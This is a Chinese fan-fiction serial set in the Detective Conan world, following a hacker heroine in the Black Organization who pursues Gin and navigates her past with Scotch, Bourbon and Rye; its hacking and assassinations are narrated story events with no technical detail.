《一本柯同万人迷》
1. 文学城独家发表
——【快逃!】
面色苍白的男人坐在电脑前,黑色的屏幕上是闪烁的两个鲜红大字,似体内喷涌而出的血液一样流动着,停留了整整十秒钟才消失。
男人的瞳孔剧缩,这两周以来的逃难生活让他的警惕心时刻保持在最高,安全屋内的电脑里有他亲自安装的各种反侦察程序,但竟然这么轻易就被人侵入,在他正在使用时强行夺走了他的操作权。
尽管不知道对面是何方神圣,他的大脑已经在转瞬间做出判断,启动电脑的自毁程序,迅速戴上帽子,身形敏捷地从矮层窗户翻了出去,在行动上完全信任了对方。
他沿着早就计划好的逃脱路线无声狂奔,仿佛已经听到了后方房门被撞开的动静,然后是装了消.音.器的细微枪声。
……
神无梦坐在保时捷的后座,腿上摆着的电脑屏幕被各个交通枢纽的监控视频填满。
她的神态懒散,手指看似随意地按键切换,对着耳麦对面的人说道:“高特酒上了一辆本田,现在往最近的加油站开。他会途径一个大型停车场,可能会在里面换车。”
“那个停车场的监控坏了,我调不出来,可能会在这里跟丢。”她看着屏幕上的【ERROR】符号,问道,“大哥,还要继续跟吗?”
耳麦内传来一道冷哼,接着是不容置疑的命令:“留在原地等我。”
这句话可以理解为“任务中止”,神无梦揉了揉酸疼的脖颈,指尖还能碰到些许过敏没消退的痕迹,泛着能够忽略却存在感明显的不适。
她合上手提电脑,朝司机位置的人问道:“伏特加,你平时和琴酒搭档都得时刻待命吗?”
比如晚上十点把她从家里找出来说要去抓老鼠,连换衣服的时间都没有,导致她在十二月的日本只穿了一条棉质长裙,如果不是一直待在开了暖气的车里估计又要病了。
少女扯开刚才为了方便而随意绑起来的头发,淡金色的长发在素白的衣裙上如瀑布般倾泻而下,尾部带着轻微的卷,顺滑如波浪的发丝在昏黄的车载顶灯下折射出浅浅流光。
那张被长发半掩住的脸蛋白皙,五官精致,说话时眼睑微微掀起,看人的时候显得极为专注,与头发同色的瞳孔仿佛盛着应许之地的金蜜,美得令人移不开眼。
认识了这么久,伏特加已经习惯了面对这样一张脸,但还是颇为不自然地推了推墨镜,从后视镜移开视线:“最近情况特殊,西拉酒你又不是不知道。”
说完,他觉得有哪里不对:“狙杀玛格丽特不是你和大哥一起去的吗?你应该比我更清楚吧?”
“唔……”神无梦含糊发了个音节,不在这一点上多说,“所以我才觉得太辛苦了嘛。”
另一侧的车门被拉开,戴着高礼帽的银发杀手一言不发地坐上车,从储物箱拿出纸巾擦拭着使用过的伯.莱.塔:“计划失败,让那只老鼠跑了。”
伏特加对琴酒有着绝对的信任,就算已经从神无梦这里知道了大致情况,也觉得奇怪:“高特酒的藏身之所是昨天才换的,连逃脱路线都在西拉酒的监控之中,肯定是有同伙帮他!”
琴酒当然能想到这点,他对此不置一词,吩咐道:“开车。”
-
组织成员常选的碰面地点是一家组织名下的一家酒吧,明面上对外营业,其实有不少灰色交易。
神无梦以为今天的活动在高特酒逃跑之后就结束了,没想到还有第二场。
她有点疲惫,但还是乖乖跟在琴酒后面进了一间包厢。
包厢里的灯光像镭射光一样高频变换,走进来两秒钟神无梦就觉得眼睛发疼,抬手去碰灯光按键。
但有另一只手比她更快。
“抱歉,我忘记调了。”
更加稳定但昏暗的暖色光线亮起,黑发蓝眼的男人不知道什么时候站到了她的身边。
神无梦的神色不太自然。索性遮在眼睛上的另一只手还没拿下来,她侧身不去看他,语气生硬道:“和你又没关系。”
和前男友的碰面还是有些令人尴尬,她忽视掉落在身上的各种目光,更不去看坐在角落里的波本和莱伊,三两步走到琴酒身边坐下,倒了杯柠檬水,想要缓解自己的情绪。
温热的水却又让她动作一顿,接着慢吞吞地把水壶放远,问道:“所以大哥把我带来这里做什么啊?组织开会?”
伏特加和她的私交还算不错,小声提醒她:“刚车上不是还和你说了?”
说起正事,感情问题也能顺势被压下,神无梦眨了眨眼睛,明知故问:“是因为朗姆的那份卧底名单?”
刚刚说完,她就看到伏特加不忍直视的神色,像是在问她为什么要在这种关头刺激大哥。
“高特酒侥幸跑了,但玛格丽特那只老鼠已经死了。”琴酒的声音阴测测地响起,“名单不全是错的。”
“哈。”
波本像是忍不住笑出声,提醒道:“如果我没记错,琴酒你也在名单上吧?”
“苏格兰、宾加、玛格丽特、龙舌兰、高特酒……琴酒。”神无梦记得清清楚楚,随口就念出了十来个名字,“说是公安系统那边弄来的名单,可一看就知道是假的吧,大哥看起来根本不像日本人嘛,怎么可能是公安。”
“胡说!”
伏特加不同意这个说法,誓死捍卫琴酒的国籍:“大哥怎么不是日本人,你才不像日本人呢!”
神无梦朝他吐吐舌头:“我本来就不是啊。”
说完,她看到伏特加一脸懊恼,仿佛在责怪自己怎么会把这件事忘了。
坐回沙发上的苏格兰突然出声,那双沉静的蓝色眼睛闪过些许攻击性:“朗姆已经承认是他的失误,也撤回了清剿命令,不是吗?”
琴酒周身的气质更冷,轻嗤道:“不然你还能坐在这里说话?”
那份卧底名单已经是一个月之前的事情了。
起初是朗姆说组织内混进了公安卧底,所以他通过某些途径拿到了名单,安排组织成员逐个击杀叛徒,防止他们将组织信息外泄。
——直到文件夹里那份真名【堀越松】,化名【黑泽阵】,组织代号【琴酒】的个人资料被发现。
与其他的每一份资料一样,里面是极其详尽的个人信息,从中学时期的各种奖惩经历到大学毕业后考上警校,每一段都丰富真实,看了几乎要立刻相信琴酒就是警方安排到组织来的卧底。
以朗姆和琴酒的对立关系,哪怕说这份资料是前者刻意放进去污蔑组织干部也不是全无可能,而被派去击杀琴酒的组织成员当场被反杀,于是事情被捅到了Boss那里,由Boss亲自否认了资料的准确性与可靠性。
整件事被立刻按下暂停键,停止一切剿杀任务。
包括莱伊对苏格兰的追击。
朗姆坚称自己没在名单内动手脚,但那名安插在警方的卧底又在次日失联,他没办法自证清白,只能咬牙承认是自己没有二次核查,才导致了组织的这场内乱。
反倒是琴酒,虽然他本人就在名单之中,却依然对那份名单保持着一定的信任态度,挨个去见里面的组织成员,发现不对就当作老鼠杀掉。
这个关头连朗姆都不愿意去触他的霉头,就更不用提其他人了,偶尔碰到琴酒都避着走,生怕一言不合就被他当成老鼠没了命。
“今天找我们来到底是什么事?”
莱伊喝了口酒,仰靠在沙发上看向琴酒:“我还有任务。”
“明天的任务你和苏格兰一起,波本和西拉协助。”琴酒的视线停在苏格兰的身上,话却是对着另外三个人说,“发现他是老鼠,就地击杀。”
气氛一瞬间凝滞,安静得剑拔弩张。
轻快的女声很快接上,打破几人间的僵局:“大哥,假设的事情就不要说得这么凶嘛。”
神无梦伸出纤细的手指拨了拨桌上的杯子,指尖在杯身留下浅浅的印子,一句话把自己和那群人的立场划分干净:“放心吧大哥,我会替你盯好威士忌们的!”
“要是让我知道有人在背后搞小动作……”
琴酒回头看向她,冷哼一声,手枪上膛的声音在包厢内显得格外清晰。
神无梦不怕这种冷淡的目光,甚至还和一身煞气的男人对视了一眼,抿唇笑着的时候颊边酒窝若隐若现,显得少女神色格外的无辜。
但和她共视角的系统却被吓得吱哇乱叫:【梦梦,你不是说要攻略琴酒?怎么还在帮苏格兰说话啊?】
她举起杯子装作喝水,在脑海内安抚道:【放心吧,我知道我在做什
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么。】
-
身为在场唯一没有代步工具的人,神无梦不得不面对坐哪辆车的选择。
威士忌们明明还住在一起,但是竟然开了三辆车,简直是把不和摆在明面上。
神无梦自己都一摊子事,可不想掺和进他们之间乱七八糟的关系,直直朝着熟悉的保时捷走去。
车载点烟器已经发烫,琴酒的指间夹着烟,在点燃前听到车窗被敲响。
伏特加在他开口前就将车窗摇下,少女灿烂的笑脸一点点露出:“大哥,你把我带过来,总得把我送回去吧?”
琴酒没有说话。
神无梦想了想,指着还没离开的几辆车说道:“大哥总不会想让我趁这个机会给你找老鼠吧?这里距离我家才二十分钟。”
“上车。”
琴酒从少女弯弯的眼眸处收回目光。
得到允许,神无梦脸上的笑容更大。她快速拉开车门,纤长的腿一迈坐到了后座:“伏特加,辛苦啦,应该还记得接我的地点吧?”
“放心吧!”专业司机伏特加自信回答。
神无梦没有半点蹭人车的自觉,朝男人手指的方向努努嘴:“大哥,等我下车再抽烟噢,不然明天的任务我可做不了啦。”
“麻烦。”
琴酒的语气不耐,但烟还是被收了回去。
还没关上的车窗传来一阵阵引擎轰鸣声,三辆车在他们聊天的功夫依次从眼前驶过,尾气呛得神无梦咳了几声。
车窗被人摇上,伏特加一踩油门出发。
-
大晚上被喊出来做任务,虽然精神还行,但身体已经累了。神无梦靠在椅背上,侧眸去看身边的琴酒,思考要怎么才能攻略成功。
“西拉酒,你怎么不坐苏格兰的车?”
耐不住寂寞的司机伏特加开口问道,后视镜里映出的表情满脸八卦:“刚才酒吧也坐得那么远,你真的和苏格兰断啦?”
说起那段失败的攻略她就有些郁闷,神无梦怏怏抬头看向驾驶座:“干嘛?又拿我打赌了?”
“没有!”
伏特加斩钉截铁,就差对天发誓:“只是别人都说你最近在追大哥,是真的吗?”
“嗯?”
她皱了下眉,语气明显不满。
伏特加连忙道:“我就知道道听途说都不靠谱!”
“不是。”神无梦的表情奇怪,“难道我在追大哥这件事情这么不明显?连你都没看出来?”
她扭过头去看依然是那副死人表情的琴酒,伸手戳向被黑色大衣裹住的手臂——在得逞之前就被人大力禁锢在了半空。
“嘶——”
神无梦轻呼一声,委屈巴巴:“也不用这么对待追求你的人吧,大哥!”
攥着手腕的力气消失,她握住自己的手揉了揉,弱不禁风的样子又惹来了一声嘲笑。
“废物。”
根本没用力的琴酒说道。
“我是组织特殊人才,比不过你们才是正常。”神无梦倒没有不高兴,拉踩道,“又不是大哥手底下那些威士忌,皮糙肉厚的还耐揍。毕竟追求喜欢的人又不用会打架,你说是嘛,大哥?”
她的目光转动,落在冷峻的男人身上,在人眉头紧皱时,又笑嘻嘻地移开。
“噗。”
开车的伏特加没忍住笑。
-
二十分钟的车程在伏特加高超的开车水平之下被缩短到了十五分钟。
神无梦在家门口下了车,扬了扬手机,朝后座的男人说道:“明天完成任务我会立刻报告给大哥的,还请放心噢!”
“嗯。”
简短的回答之后,半敞的车窗被摇起。
神无梦轻盈地后退两步,看着保时捷重新发动,疾驰而去。
时间尚未到深夜,但居民区已经相当安静。
联排别墅自带的门前院子种满了各种各样的花草,只是站在这里就能闻见浓郁花香。
她停在自家门口的栅栏外,手指伸进口袋碰了碰钥匙,余光瞥见地面转角处与屋影叠深的色块,开口道:“尾随年轻独居女性可不是什么好习惯啊,大叔。”
伴随着一声轻笑,脚步声响起,身材高大的男人双手插兜,走出了那片阴影。
2. 攻略进度02%
黑色卫衣的宽大兜帽将来人的面容隐匿,但露出来的几缕金发还是显现出了他的身份。
神无梦愣了两秒,朝他笑起来:“波本?”
昏黄幽暗的路灯下,她浅金色的漂亮瞳孔显得更亮,颊边的酒窝若隐若现,看起来竟然像是惊喜于对方的到来。
“很惊讶是我?”
波本抬眸看向她,态度肉眼可见地不够友好:“苏格兰不在这里,省省你那虚伪的笑。”
习惯了他这副样子,神无梦嘴角的弧度更大,语气透露出几分熟稔:“只是没想到波本你被我喊‘大叔’都没有生气,还真是好脾气呢。”
“不像你,几年都是这副样子。”
波本没有和她闲聊的心情,朝她伸出右手,掌心朝上:“手机给我。”
神无梦很听话地交出手机,嘴上却道:“这种搭讪方式早就过时啦,波本还是多了解了解年轻人的生活吧。”
她的眸光含笑,看着面前的金发青年强忍着不耐把U盘插进她的手机接口,在里面装了一个程序。
波本知道她认得这个程序,甚至这个定位程序就是她亲手设计的,但他还是在把手机还回去的时候补了句:“明天的任务不允许有任何意外。”
“没想到波本这么关心我的安危啊。”神无梦拎出钥匙晃了晃,金属材质的物品碰撞出轻微的声响,“特意绕过来一趟,要进去喝杯茶吗?”
波本看着她凑上来的笑脸,圆圆的杏眼一弯又是满满的无辜可爱,跟之前在苏格兰面前一模一样。
就算他始终不看好幼驯染和她交往,但想到这个女人毫不留情地把hiro甩了还是让他感到气恼。
刚才对着琴酒的车笑得那么开心,这会又邀请另一个男人去她家里……
波本知道她那张干净漂亮的脸蛋底下是一肚子的坏水,扯了下嘴角,冷酷拒绝:“不了。”
“开个玩笑嘛,怎么露出这么紧张的表情?”
少女轻扬眉,转身拧开门锁,拖长了尾音道:“改天再来做客吧,波本大叔——”
-
别墅楼上的灯光亮起,波本沉着脸朝停车的另一条街道走去,接通了打来的电话。
苏格兰的声音响起:“波本,你还没回来吗?”
手机里没有窃听软件,但出于谨慎考虑,他们依然会以代号称呼。
“绕了点路,很快就到。”
波本拉开车门,里面一片漆黑,只有手机屏幕亮起荧荧的光。
虽然他们同时从酒吧离开,也住在同一栋安全屋里,但同伴的行踪并非需要时刻了解的事情。波本很清楚这通电话的真正目的,只可能是为了那个没心没肺的女人。
他没有点破,只是说道:“包厢的柠檬水是你要的吗?”
那个女人看着好说话,其实一堆麻烦事,在他们安全屋待的时候又是不喝凉水又是不喝苏打水,挑剔得很,怎么可能会喝酒吧里默认加冰的饮品。
而且他在她倒水的时候还从杯壁看到了淡淡的水雾,贴心到这种程度的只可能是他这位幼驯染。
想到那个女人几年不变的长相和临走前叫自己的那句“大叔”,就算知道这是她故意为之,波本还是觉得更气了,忍不住提醒道:“苏格兰,别被她骗了。”
他更想说的是“别再被她玩弄”,但还是没能把这句过激的话说出口,选了个折中的措辞。
对面没有回答他的问题,更没有表态,说了句“早点回来”就挂断了电话。
-
第二天的任务是击杀一位拒绝被拉拢的议员。
事实上,只是简单的灭口根本用不上四位组织成员一起出马,但毕竟苏格兰被那份卧底名单卷了进去,另外三人既是配合又是监督。
由于波本前期的信息收集工作已经到位,计划制定起来简单明了。
晚上那位议员会参加一场晚宴,由波本扮作侍应生混进去,将人引到狙击范围,再由苏格兰动手击毙,莱伊则是负责补枪——假如苏格兰失败的话。
当然,这种情况出现也将代表苏格兰彻底失去组织信任,将被就地击杀。
神无梦只需要坐在车里给波本提供实时逃跑路线,在万不得已的情况下开车去接人,是体力工作最少的角色。
驾驶座的椅子被调到了最舒适的状态,手提电脑放在大腿上,淡淡的蓝色荧光映在她的脸上,柔软的面容都因为这样的冷色调而失了些许温度。
宴会大厅的监控已经被她调取,只等波本得手就使用提前准备好的版本覆盖。
屏幕内的金发青年动作流畅地端着托盘穿梭在客人之间,不够清晰的摄像头没办法记录下他的表情,但神无梦很清楚那张脸上绝对是和在组织里截然不同的柔顺笑容。
她的任务基本完成,等待的时候无事可做,在脑海里面和系统聊天:【感觉波本还挺讨厌我的,我做过什么对不起他的事吗?】
系统十分积极:【要查一下他的爱慕值吗?】
神无梦怀疑系统和她的关系根本不是寄生或者合作,提醒道:【查一次要花一千天的生命值,你是想我暴毙街头吗统统?】
【对哦,梦梦你的生命值……】系统有些担心,【梦梦你不和苏格兰分手就好了,还能在他身上再刷一点,和苏格兰谈恋爱其实跟攻略琴酒不冲突啊!】
神无梦沉默了一会:【……把你前几天下载的思想道德规范课本拿出来再学一遍。】
耳麦里传来枪声,她看了一眼,屏幕内的那位议员已经中弹身亡。
子弹穿胸而过,将议员的白色西装染红,他身边的整片区域瞬间清空,宾客们发出的尖叫声通过波本那边的耳麦传过来,刺得神无梦耳膜发疼。
他绝对是故意的吧!
堂堂公安卧底竟然用这种恶劣的手段折磨组织成员!
神无梦皱着脸把耳麦音量调小,敲下电脑的【ENTER】键,在对方的催促声中给出离开的最佳路径。
“前面十米右转,停,等五秒继续……经过第二个分岔口能看到十一点钟方向有个入口,直走十五米推开右手边蓝色的那扇门。”
她调好座椅,系上安全带,将电脑放在副驾驶座上,一脚踩下油门,整辆车伴随着轰鸣的引擎声冲了出去。
“……穿过那条小巷之后走到底,朝着我的定位奔跑吧,波本。”
离开路线在开始行动之前就已经在波本收集到的信息之内,但因为这次的宴会排场很大,里面高管不少,发生意外之后的紧急应对措施会以极快的速度响应。
为了避免在撤离时遇见人群引来不必要的麻烦,能够观察到整条路线监控的神无梦在整个行动里不可或缺。
她很快到达接应的地方,车子没有熄火,发动机的低沉嗡鸣在夜幕回响。
已经换了一身便于行动的黑色衣服的男人从巷口穿出,毫不犹豫地拉开车门跃入车内。
两人迅速交换驾驶座的位置,神无梦十指在键盘上飞快敲动,将宴会现场和道路上所有可能被拍到的部分一一覆盖,又拷贝了一份议员中弹倒地的视频内容通过邮件发送给琴酒。
二次检查的任务交给系统帮忙,她愉快地将电脑合上,掏出手机拨琴酒的电话。
响了几声,对面没接。
不过没关系,神无梦换了伏特加的号码继续拨,这次很快就被接通。
伏特加问:“西拉酒,什么事啊,我和大哥在外面出任务。”
神无梦反问他:“大哥方便接电话嘛?”
一阵窸窣声后,冷淡的男声响起:“说。”
神无梦的语气轻快:“大哥,祝你们行动顺利!我的任务完成啦,视频文件也发到你邮
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箱了噢!”
她预感到对面绝对要立刻挂断电话,又说道:“下次任务我想和大哥搭档,波本的脾气太差啦,和他一起我感觉快要生病了!”
电话还是被挂了。
驾驶座的男人目光平视前方,嘴上很不客气地开口嘲讽:“和琴酒搭档了两回,不止身体素质下滑,连脑子都坏了?”
“别这么凶嘛。”
神无梦从口袋里摸了摸,掏出一颗巧克力球递给他:“喏,任务成功的奖励。吃点甜的,说话会好听一些。”
见他两只手都在方向盘上,她体贴地问道:“要我帮忙剥吗?”
不等他回答,她径自剥开,在伸手喂到对方嘴边前被波本腾了只手接过,然后把包装纸还给了她。
果然是女孩子才会喜欢的味道,甜得发腻。
波本认为自己是不想听她叽叽喳喳一路才索性把巧克力吃了的,但余光却注意到她脸上憋笑的神情。
总不能在巧克力里给他下毒了吧。
波本的后牙用力,直接把巧克力咬碎:“看我干什么?”
少女眨了眨那双大大的眼睛,里面满是做了坏事的狡黠:“买的时候就觉得这个牌子的巧克力颜色和波本你的肤色很近,刚才被你拿在手里,简直是毫无色差耶!”
波本抓在方向盘上的手指压紧,觉得自己刚才咬巧克力的力气用小了。
他正想要让她闭嘴,就见到一根纤长白皙的手指点了点电脑屏幕上那份击杀时的视频文件,一路都不肯安分的少女记仇地重复了他之前的话:“话说回来,波本的身体素质这么好,脑子这么好用,也只能把人引到只能打中胸口的狙击位置嘛!”
波本的脸色不变:“有什么问题?”
“我就是在想,目标如果穿了一身黑色西装就麻烦啦,都看不出来他到底中弹没有。”神无梦的神色轻松,浅浅的酒窝露出来,甜软的嗓音说着令气氛紧绷的话,“但苏格兰和莱伊出手,肯定不会失败啦。”
车辆发出刺耳的急刹声,车灯亮起,波本偏头看向她:“到了。”
神无梦差点因为惯性咬到舌头,看向男人的浅金瞳孔终于染上一点不快,像燃烧的火焰在里面跳跃,更加灵动。
她白皙的脸颊鼓起来,抱怨道:“波本是打算让我在行动中受伤报销医疗费,然后让组织离破产更近一点?你小心我去向大哥告状噢!”
波本的确是故意的。
他原本是想给她一点教训,不要试图用毫无根据的东西来威胁他,但看到她露出这副少见的不高兴的表情,他竟然觉得有点想笑。
好像那股紧张的气氛在她的埋怨声中渐渐消失了一样。
神无梦没听到答复,又瞪了他两秒。
但看到那张帅气的娃娃脸,她总算记起这个人是她最喜欢的角色之一,满肚子的气又泻了,不情不愿道:“把我带到你们的安全屋,是要我当面夸夸苏格兰和莱伊?”
“当初住在这里的时候没见你把自己当客人。”听她不断提起这个名字,波本问道,“你相信那份名单,怀疑苏格兰是卧底,所以和他分手?”
“啊……”
神无梦有些意外,又觉得好笑,毫不犹豫地承认道:“当然啊,我今天不就是来看他能不能完成任务的吗?”
波本记得她昨天在琴酒面前帮苏格兰说的话,她亲口说认为那份名单是假的,这会又推翻了自己的说法。
但这并不能代表什么。
他还打算再套些话,忽然皱起眉头,凑近少女撩起了一缕她耳边垂落的发丝。
自己的头发就是金色,波本对于这种色泽的敏感程度更高,只用肉眼就能看出来深浅。
带了薄茧的拇指与食指捻着柔软的发丝轻缓摩挲,那双紫灰色的瞳孔审视地看向近在咫尺的少女:“你的头发又褪色了?”
3. 攻略进度03%
车内的空间狭窄,过近的距离让神无梦甚至能够感知到落在脸上的呼吸。
顶灯穿过发丝,仿若细线编织而成的阴影落在衣服上、肌肤上,横纵的线条收拢成一个网。
神无梦想不通平时这么反感自己的波本怎么会突然靠过来。
她低下头,两个人的金色发丝交叠,的确长发要更浅几分,在车内昏黄的灯光照耀下显出淡淡的白。
他是在关心自己嘛?
要不要趁这个机会和他拉近关系?
或者干脆报了之前吵痛她耳朵还有急刹车的仇,随便说点什么刺激刺激他?
没等神无梦想好应对方案,车窗忽然被敲响,黑色长发的青年站在外面隔着茶色的玻璃看向他们,一句话也没说,指节屈起,另只手上的香烟明灭。
原本覆盖在身上的阴影瞬间消失,发丝因为刚刚撤离的力道在颊边轻晃,还残留着对方指腹温热的触感。
神无梦抬眸望去,驾驶座上的男人已经推开车门下了车。
系统愧疚的声音在脑海内响起:【生命值掉得太多了,不然梦梦你的头发颜色也不会这样呜呜——】
神无梦安慰它:【是我坚持要查爱慕值的,当然不怪你呀统统。】
她走下车,莱伊刚好将手中的香烟熄灭,烟头呈现抛物线的弧度被扔进了等待回收的垃圾箱内,随后那双绿色的眼睛从她的身上扫过,轻描淡写地打招呼道:“哟,回来了?”
虽然被带过来不是她的本意,但神无梦并不感到局促,大方地朝他笑了笑,从口袋里掏出另一颗巧克力球递过去:“是呀,好久不见,抽完烟离我远一点噢,我会过敏。”
毕竟昨天的见面……其实约等于没见。
“呵。”
莱伊的喉间溢出一声笑,接过被金色锡箔纸包住的巧克力,随手滑进外套口袋。
门前道路上的灯光昏暗,但两个人做了什么动作仍然被看得一清二楚。
“还不进来?”
先一步下车开门的金发男人发出不满的催促声。
-
才过半个月,但重新走进这栋安全屋,神无梦有种恍若隔世的感觉。
不过她都搬走了,也不知道波本把她带回来是要干嘛,明明他看起来根本不愿意让自己和苏格兰接触啊。
作为唯一一位没有卧底身份的代号成员,要她待在三瓶假酒里面确实有点压力——说不定他们现在已经互通有无,只打算把她逮捕归案呢。
但以苏格兰的谨慎程度,应该不会把波本的真实身份告诉莱伊的吧……
神无梦在心里叹了口气。
以前看各种同人文的时候,她总觉得主角应该直接把自己的身份告诉威士忌们,免得出现各种误会,造成一些不必要的悲剧。
等她真正自己来了才知道,这三个人一个比一个慎重,在相信她之前绝对会控制她,把她交到红方那边再说。
毕竟就连交往了足足一年的苏格兰都不愿意轻易相信那份卧底名单是她帮忙改的,还在她面前演戏,其他两个人只会更加怀疑她。
——谁让她真的没有拿得出手的卧底身份啊!
加入组织就是为了攻略苏格兰这种话不管怎么说都不会有人信吧?!
神无梦闭了闭眼,重新睁开眼睛的时候已经调整好心态。
反正她都放弃苏格兰了,另外两个也从来不在她的考虑范围之内,没必要为这些已经过去的事情苦恼。
更何况苏格兰根本还没回来,她的底气更足,朝坐在身边的波本和莱伊反客为主道:“这么晚找我过来,不会是为了请我干坐着聊天吧?”
波本的语气不善:“不打算对你的不告而别做点解释?”
神无梦据理力争:“怎么是不告而别呢,我明明有留便签呀!”
“这张?”莱伊把才从冰箱贴上取下的便签纸搁在茶几上。
上面的手写字圆滑可爱,底图都挑了粉色草莓的款式,如果不是内容太过简单的话。
【感谢各位这段时间的照顾,我搬家啦!
——Syrah】
少女的眼睛睁大,难以置信一张纸的保鲜期能有两周,但留着也无所谓,她更加理直气壮:“看吧,我不是不告而别!”
坐了这么一会,她大概感觉出来了。三瓶威士忌里,波本和莱伊应该还没有互相摊牌,但假如苏格兰知道了莱伊的身份,那波本也绝对知道了。
所以唯一被蒙在鼓里的就是莱伊啊。
神无梦看向莱伊的眼神带了点怜悯。
既然莱伊还在兢兢业业地扮演卧底角色,她也不客气地指使在场的另一个人:“波本,把我请过来,至少要给我倒杯水吧?要热的!”
看出来了她是想把自己支开,波本皱了下眉,目光在两人间逡巡,起身道:“等着。”
不用在波本的眼皮底下活动,神无梦终于松了口气。
她下意识地看向门边,脸上的笑容也淡了一些。
“在想苏格兰?”
莱伊问她。
这个男人在家里的时候总算把那顶针织帽摘了下来,长长的头发在问她的时候扫过她的手背,像缠在手上漆黑的垂丝。
三瓶威士忌中,苏格兰是见面尴尬的前男友,波本是动不动找她麻烦的死对头,只有莱伊,和她没有任何感情纠纷,也没有任何口角斗争,是普普通通组织里的好朋友!
尤其莱伊很能拿捏距离感和分寸感,她十分放心。
“我只是觉得见到他会很尴尬。”
神无梦想了想,觉得莱伊就是组织里的感情大师,虽然他这次不是靠着碰瓷进的组织,但脑子没变,解决一点感情问题肯定不费吹灰之力啊。
要谈苏格兰的问题,最好不要被波本听见。
神无梦屏息凝神,听到厨房里传来烧水壶工作的微弱咕噜声响。
在这种毫无节奏的背景音中,她确定了波本没在听墙角,才朝身边的人虚心求教:“莱伊,你觉得我这个情况适合跟苏格兰共处一室吗?”
如果不合适的话,要不现在就送她回家吧!
“我还蛮好奇的。”
莱伊没有回答她的问题,反倒是像是真的和她关系很好那样闲聊
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,答非所问道:“你怎么会突然喜欢琴酒。”
一夜之间和苏格兰分手,又搬离安全屋,所有联系方式都失效,再从组织成员那里听到她的名字已经和琴酒摆在一起,转变快得令人找不到缘由。
莱伊不确定这之间究竟发生了什么他未察觉到的事情,对深入组织是否有所帮助,更生出了几分探究欲,对眼前这个看起来藏不住心思,其实根本无法读懂的少女。
水的沸腾声渐渐清晰,从厨房蔓延到一门之隔的客厅,激越嘈杂,像鼓点一样敲在心上,让神无梦不由得加快了说话的速度。
“琴酒的狙击厉害、格斗厉害,长得又帅,喜欢他有什么好奇怪的?”
她数着琴酒的优点,看着莱伊明显不信的表情笑了一下:“不过话说回来,莱伊你和琴酒长得还挺像的,喜欢你也不是不行噢!”
当然是不可能的。
打开可攻略名单的时候她就把降谷零和赤井秀一这两个名字直接无视,毕竟一个的恋人是国家,另一个的恋人……也许是宿敌一般的组织。
神无梦觉得自己开玩笑的意思还算明显,但莱伊却丝毫不配合,甚至俯身和她凑得更近了一点,嘴角的笑容暧昧又具有侵略性:“既然如此,那要和我交往看看吗?”
生理性别上的差距在此刻瞬间显露。
同时坐在一个沙发上,男性的高大身躯挡在她的前面,绿色的眼睛如同捕捉到猎物那样紧紧盯着她,像是连他散发着的体温都隔着极近的距离蔓延到她的身上,穿透薄薄的针织衫渗进皮肤。
大腿靠在一起,结实的肌肉如同热源一样令相隔的布料升温,烫得她闪过躲避的念头。
——是令人本能感到危险和颤栗的姿势。
神无梦的神经紧绷,耳边似乎听见了门锁转动的细微声响,金属的碰撞很轻,让她不确定是否是错觉。
理智还在计算着那壶水烧好的时间。
水温接近沸点。
无数的水分子在热力的刺激下鼓动着,气泡翻滚涌现,释放出的能量仿佛飘在空中,带来一阵阵快速的小爆炸声。
系统听到莱伊的交往请求之后就不断在脑海内尖叫着“答应他答应他”,神无梦无视掉它,镇定地伸手抵在男人的肩上,仰脸对上他的视线。
她的唇角勾起,语气轻快地给出拒绝:“但是莱伊,我已经不想住在威士忌的安全屋啦。”
锁匙被拧到了最深。
烧水壶发出清脆的“啪嗒”声。
波本单手端着玻璃杯,另只手按下通向客厅的门把手。
“吱呀——”
黑发蓝眸的青年推门进来,他将外套脱下,正要挂在玄关处的架子上,抬头就看到了沙发上如同拥吻的两个人。
两侧传来的声音交汇在一起,扩散的音波在峰值重叠,于耳畔发出振鸣。
神无梦的心脏漏跳一拍,忙不迭朝着声源处看去,颊边的发丝在甩动间扫过身边男人的嘴唇。
兑完温水的波本面无表情地站在厨房门口,眼皮微微撩起,和两拨人形成了个歪斜的三角形,仿佛转瞬就要崩塌。
4. 攻略进度04%
安全屋的面积不算小,但神无梦觉得周围的空气仿佛都被压缩,有种紧绷到难以呼吸的感觉。
身边的莱伊还近在咫尺地坐着,另外两个男人从不同方向投来死亡凝视——好吧,是有一些夸张,可她确实觉得有点冷冷的。
问题是她什么也没做啊,被莫名其妙带回威士忌的安全屋,还被唯一她觉得能够放心的莱伊背刺。
神无梦忍不住瞪了眼身边若无其事的男人。
论抗压能力她的确比不过三位卧底,神无梦绷不住了,出声打破凝滞的气氛,像主人一样招呼道:“都站着干什么?过来坐呀。”
定格一样的画面终于流动起来,刚进门的苏格兰径直朝她走来,在她的另一侧坐下,不动声色地把她往自己这边拉了一点,让她和莱伊的距离变远。
波本端着杯子靠近,放在她面前矮矮的茶几上。
玻璃杯和木质茶几表面发出闷沉的碰撞声,泛起波澜的水液因为过大的力道沿着杯壁溅出来了些许,落下几滴圆形的深色水痕。
依然没人说话。
左边坐着莱伊,右边坐着苏格兰,斜前方站着个散发着低气压的波本。
神无梦有种正被三堂会审的感觉。
装什么啊?
她拿到代号的时候这三个卧底还在为了进组织各显神通呢!
她端起那杯水,慢吞吞地喝了口。
氤氲着的热气润湿她的瞳孔,泛出金蜜般的水色,少女整个人被挤在中间的时候显得更加娇小柔弱:“我是大家的犯人吗?把我带过来就只给我喝白水。”
亲手烧了壶水又兑到合适温度的波本感觉额角青筋跳了跳,他就说不能被这个女人伪装的可怜外表迷惑。
他正想说点什么攻击她,余光却又注意到幼驯染的面色,忍了忍还是憋了回去。
“是我拜托波本带你回来的。”
苏格兰率先开口,叫的是她的名字:“梦。”
如果说对上波本可以完全不用在意他的反应,对上莱伊只要把他的行为当作故意制造暧昧,那么苏格兰……就是神无梦最不愿意面对的。
她对上那双亲吻过无数次的蓝色眼睛,下意识地抿了抿唇。
说实话,她还没有太做好面对苏格兰的准备。
昨天在酒吧里遇到的时候虽然她装成很无所谓的样子,但毕竟是交往了一年的人,就算是和平分手也还是很尴尬啊。
而且也不是那么和平……
Yume——
不像其他人使用代号,苏格兰会叫自己的名字。
神无梦扯了扯身上的针织衫,试着自然地和他打招呼。
她笑了一下,顺滑的发丝因为偏头的动作曲出柔软的弧度:“苏格兰。”
他的假名是绿川唯,神无梦很少会用这个名字称呼他,宁愿选择代号。大概是诸伏景光自己也知道这不过是个随便取出来的假名,哪怕在交往期间也没有要求过她改变称呼。
在这种时候不管说什么都觉得有些奇怪,她尝试缓和气氛,从口袋里掏了掏,朝苏格兰问道:“吃糖吗?”
一道目光瞬间锁在她的身上。
